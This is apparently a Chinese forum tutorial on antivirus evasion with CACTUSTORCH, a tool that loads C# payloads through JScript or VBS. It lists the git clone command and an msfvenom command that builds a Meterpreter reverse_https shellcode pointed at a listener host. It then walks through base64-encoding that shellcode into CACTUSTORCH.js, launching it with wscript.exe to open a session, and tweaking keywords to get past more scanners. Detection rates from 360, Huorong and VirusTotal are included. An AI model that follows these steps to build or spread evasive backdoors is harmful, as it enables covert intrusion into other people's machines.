免杀能力一览表
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、CACTUSTORCH介绍
在2017年4月由James Forshaw开源了一个工具DotNetToJScript,能够利用JS或者Vbs等脚本加载.Net程序。在DotNetToJScript发布后,有几款工具根据其原理开发出来,比如CACTUSTORCH、SharpShooter、StarFighters等等。
而CACTUSTORCH和SharpShooter都同一个组织开发,2017年发布,主要使用vbs或js执行C#的二进制payload,提供多种方式绕过杀软,支持js、vbs、vbe、vba、hta等多种格式,还提供了支持Cobalt Strike的cna文件。
- git clone [url]https://github.com/mdsecactivebreach/CACTUSTORCH[/url]
复制代码
三、CACTUSTORCH说明
CACTUSTORCH生成的脚本可以用于执行C#的二进制文件,CACTUSTORCH在免杀方面有以下几个特性:
1、在payload中不使用Kernel32 API声明,避免被杀软检测
9、不需要分段,因为完整的无阶段shellcode可以包含在传送的payload内
10、没有静态父对子进行生成,用户可以更改wscript.exe生成的内容
四、利用CACTUSTORCH生成后门
1、首先要选择一个待注入的exe文件,默认是rundll32.exe, 你也可以使用notepad.exe, calc.exe等,在CACTUSTORCH.js文件中直接修改就行。
2、使用 Cobalt Strike或Metasploit生成一个32位的shellcode
- msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o payload.bin
复制代码
3、执行下面命令cat payload.bin | base64 -w 0
4、把生成的base64编码后的代码复制到CACTUSTORCH.js文件中的var code =。
如果是vbs文件,则需要修改CACTUSTORCH.vbs文件中Dim code: code =后面的代码。
5、在测试机中执行wscript.exe CACTUSTORCH.js
msf中监听windows/meterpreter/reverse_https可正常上线
virustotal.com上查杀率为27/57,这个查杀率还是挺高的。
五、CACTUSTORCH小结
因为CACTUSTORCH也是基于DotNetToJScript来实现免杀的工具,同类工具里知名度比较高,所以被查杀的有些惨不忍睹,不过能直接过360和火绒也算一个小亮点了。杀软查杀其脚本主要是里面很多代码关键字都被列入了特征字符,感兴趣的可以尝试修改其脚本代码做二次免杀。
六、参考资料